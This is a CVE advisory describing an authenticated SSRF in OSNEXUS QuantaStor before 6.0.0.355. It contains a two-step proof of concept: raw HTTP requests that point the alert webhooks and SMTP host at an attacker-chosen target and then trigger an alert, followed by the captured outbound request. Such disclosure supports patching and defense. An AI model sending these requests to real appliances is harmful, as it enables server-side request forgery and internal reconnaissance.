CVE-2021-42079 — SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a …
Published: 2023-07-10 · CVSS: 6.2 · CVSS 3.1
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
Source: CVE Program · Revision 8b16575c39f1e1810c5e863010da073d2d3285e7